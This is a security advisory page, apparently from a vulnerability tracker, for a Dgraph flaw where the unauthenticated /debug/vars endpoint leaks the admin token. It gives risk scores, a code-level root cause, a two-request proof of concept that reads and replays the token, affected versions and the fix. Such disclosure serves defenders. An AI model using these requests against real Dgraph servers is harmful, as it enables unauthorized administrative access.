CVE-2026-41492Critical· 9.8▾ AbyssalPoC availableDgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars
▾ Abyssal zone — Critical with a public exploit or in-the-wild use
impact 53.9 · likelihood 0.6 · exploitation 12
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 1 source. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Jul 23.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
2.2%
2.2% → 3.1%
Nuclei ×1
Dgraph v25.3.2 still exposes the process command line through the unauthenticated /debug/vars endpoint on Alpha. Because the admin token is commonly supplied via the --security "token=..." startup flag, an unauthenticated attacker can retrieve that token and replay it in the X-Dgraph-AuthToken header to access admin-only endpoints.
This is a variant of the previously fixed /debug/pprof/cmdline issue, but the current fix is incomplete because it blocks only /debug/pprof/cmdline and still serves http.DefaultServeMux, which includes expvar's /debug/vars handler.
Alpha still exposes Go's default HTTP mux:
x/metrics.go
expvarConf = expvar.NewMap("dgraph_config")expvar package automatically registers /debug/varsexpvar publishes:
cmdline = os.Argsmemstats = runtime.MemstatsAlpha's HTTP handler explicitly blocks only the old CVE path:
dgraph/cmd/alpha/run.go
if r.URL.Path == "/debug/pprof/cmdline" and returns 404http.DefaultServeMux.ServeHTTP(w, r)Admin endpoints still trust the leaked token:
dgraph/cmd/alpha/admin.go
X-Dgraph-AuthTokenworker.Config.AuthTokenGET /debug/vars HTTP/1.1
Host: target:8080
Parse the JSON response and read the cmdline field.
Extract the admin token from the startup arguments, for example:
--security token=debug-vars-secret;
GET /admin/config/cache_mb HTTP/1.1
Host: target:8080
X-Dgraph-AuthToken: debug-vars-secret
This was reproduced against dgraph/dgraph:v25.3.2 in Docker.
Observed behavior:
/debug/vars leaked the configured tokenX-Dgraph-AuthToken successfully accessed /admin/config/cache_mb4096
It was verified that the old CVE path appears specifically patched in the same version:
/debug/pprof/cmdline returned 404 Not Found/debug/pprof/ remained reachableUnauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.
This enables privileged admin operations such as:
X-Dgraph-AuthTokenIn deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.
github.com/dgraph-io/dgraph/v25 < 25.3.3github.com/dgraph-io/dgraph/v24 <= 24.1.8github.com/dgraph-io/dgraph <= 1.2.8Upgrade to a patched release:
github.com/dgraph-io/dgraph/v25 25.3.3Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-41327Critical· 9.1Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in Upsert Condition Field
CVE-2026-34976Critical· 10.0Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization
CVE-2026-40173Critical· 9.4Dgraph: Unauthenticated /debug/pprof/cmdline discloses admin auth token, enabling unauthorized access to protected Alpha admin endpoints
CVE-2026-41328Critical· 9.1Dgraph: Pre-Auth Full Database Exfiltration via DQL Injection in NQuad Lang Field
CVE-2026-44840High· 7.5Dgraph Vulnerable to DQL Injection via checkUserPassword GraphQL Query
CVE-2026-54061Critical· 9.1Dgraph Alpha group stores can be replaced via unauthenticated external snapshot import